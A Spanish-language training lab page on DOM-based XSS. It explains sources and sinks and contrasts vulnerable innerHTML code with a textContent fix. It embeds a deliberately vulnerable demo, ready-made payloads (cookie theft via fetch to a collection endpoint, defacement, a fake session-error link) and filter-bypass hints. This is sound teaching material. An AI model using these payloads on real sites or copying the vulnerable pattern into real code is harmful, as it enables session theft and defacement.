La diferencia fundamental

En los XSS reflejado y persistente, el servidor es parte del problema: devuelve HTML sin sanitizar. En el DOM XSS, el servidor es completamente inocente. El payload nunca llega al servidor: vive en el fragmento de la URL (#hash) o es procesado enteramente por JavaScript del lado cliente antes de que haya ninguna petición.

¿Por qué esto es especialmente peligroso?
Los WAFs (Web Application Firewalls) y los logs del servidor no ven el fragmento #hash de una URL: el navegador nunca lo envía al servidor. Un ataque DOM XSS vía location.hash es completamente invisible para la infraestructura de monitorización del servidor.

Sources — De dónde viene el dato no confiable

Un source es cualquier valor controlable por el atacante que el código JavaScript lee:

location.hash

El fragmento tras el # en la URL. Nunca se envía al servidor. Ideal para DOM XSS sigiloso.

url.com/page#payload
location.search

La query string (?param=valor). Sí llega al servidor, pero si el JS la procesa antes, puede haber DOM XSS.

url.com/page?name=valor
document.referrer

URL de la página anterior. Si se muestra en la página actual sin escapar, puede ser controlado por el atacante.

postMessage

Mensajes entre ventanas/iframes. Si no se valida el origen (event.origin), el atacante puede enviar datos maliciosos desde otro iframe.

localStorage

Si datos de terceros se almacenan en localStorage y luego se insertan en el DOM, pueden contener payloads XSS.

URLSearchParams

Versión moderna de parseo de query string. Igualmente peligroso si los valores se insertan sin escapar.

Sinks — Donde el dato se convierte en código

Un sink es cualquier función o propiedad que, al recibir datos del atacante, puede ejecutar código:

innerHTML

El más común. Parsea HTML completo incluyendo atributos de evento y elementos como <img onerror>.

document.write()

Reescribe el documento. Puede inyectar <script> y otros elementos ejecutables.

eval()

Ejecuta directamente una cadena como JavaScript. El sink más peligroso.

setTimeout/setInterval

Cuando reciben una cadena en lugar de una función, la evalúan como código.

href / src

Asignar javascript:... a un atributo href o src ejecuta JS al activarse.

jQuery .html()

Equivalente a innerHTML. Muy frecuente en código jQuery antiguo.

Ejemplo de código vulnerable

JavaScript — ❌ VULNERABLE (source → sink)
// ❌ Source: location.hash
// ❌ Sink:   innerHTML
window.addEventListener('load', () => {
  const name = location.hash.slice(1); // source
  document.getElementById('greeting')
    .innerHTML = 'Hola, ' + name;      // sink
});

// URL de ataque:
// /welcome#<img src=x onerror=alert(1)>
JavaScript — ✅ SEGURO
// ✅ Usar textContent en lugar de innerHTML
window.addEventListener('load', () => {
  const name = location.hash.slice(1);
  document.getElementById('greeting')
    .textContent = 'Hola, ' + name; // no parsea HTML
});

// O escapar manualmente:
function escapeHtml(str) {
  const d = document.createElement('div');
  d.textContent = str;
  return d.innerHTML; // ya escapado
}

document.getElementById('greeting')
  .innerHTML = 'Hola, ' + escapeHtml(name);
⚠️ Aplicación vulnerable embebida — 100% cliente
La demo de abajo usa location.hash como source y innerHTML como sink. El servidor no interviene en absoluto. Manipula la URL de esta página para explotar la vulnerabilidad.
Portal de Bienvenida (vulnerable)

Esta mini-app lee el nombre desde location.hash y lo escribe con innerHTML.

Portal de empleados

Sistema de gestión interno v2.1

Cargando...

URL actual:

Constructor de URL de ataque

URL generada:

Escribe algo arriba...
Payloads DOM XSS

Haz clic en "Aplicar" para cargar directamente:

1. Prueba básica — img onerror
<img src=x onerror="alert('DOM XSS!')">
2. SVG onload
<svg onload="alert('SVG XSS')"></svg>
3. Defacement del portal
<b style="color:red">SISTEMA COMPROMETIDO</b><script>document.getElementById('vuln-app').style.background='#fee'</script>
4. Robo de cookie vía DOM
<img src=x onerror="fetch('/api/collect?c='+encodeURIComponent(document.cookie))">
5. Redirect malicioso
<img src=x onerror="document.getElementById('vuln-app').innerHTML='<p>Error de sesión. <a href=\'/labs/dom/#evil\' style=\'color:blue\'>Haz clic para continuar</a></p>'">
6. Sin etiquetas HTML — via javascript:
<a href="javascript:alert(document.cookie)">Haz clic aquí</a>
Capturas en /api/collect
No hay capturas...
Código fuente de la aplicación vulnerable

Este es exactamente el código que hace vulnerable el portal de bienvenida de arriba:

JavaScript — en esta misma página
// SOURCE: location.hash — nunca llega al servidor
window.addEventListener('hashchange', renderGreeting);
window.addEventListener('load', renderGreeting);

function renderGreeting() {
  const name = decodeURIComponent(location.hash.slice(1));
  // ❌ SINK: innerHTML — parsea el input como HTML
  document.getElementById('greeting').innerHTML =
    name ? 'Hola, ' + name : 'Escribe tu nombre en la URL: #TuNombre';
}
Particularidades del DOM XSS
  • El payload está en la URL de esta misma página (en el #hash)
  • El servidor nunca ve el hash — no hay logs en el servidor
  • Para "enviar" el ataque a una víctima, le compartes la URL con el payload incluido
  • La explotación ocurre en el contexto del dominio legítimo
1 Explota el source → sink básico
Básico

Consigue que el portal de bienvenida ejecute un alert() usando el hash de la URL. El payload debe viajar en # y ejecutarse gracias al innerHTML vulnerable.

2 Roba cookie vía DOM XSS
Intermedio

Inyecta un payload en el hash que exfiltre la cookie lab_session a /api/collect. Confirma que fue capturada.

3 Bypassea un filtro básico
Avanzado

Imagina que la aplicación filtra la cadena script del hash (case-insensitive). Consigue ejecutar JavaScript sin usar la palabra script en tu payload.

Pista

Prueba: <img src=x onerror=...>, <svg onload=...>, <body onload=...>, <details open ontoggle=...>, <video src=x onerror=...>. Hay docenas de event handlers en HTML.

4 Analiza una app real con DOM XSS
Experto

Escribe en el campo de texto de abajo un fragmento de código JavaScript vulnerable a DOM XSS. Identifica el source y el sink, y explica cómo lo explotarías.


Volver al inicio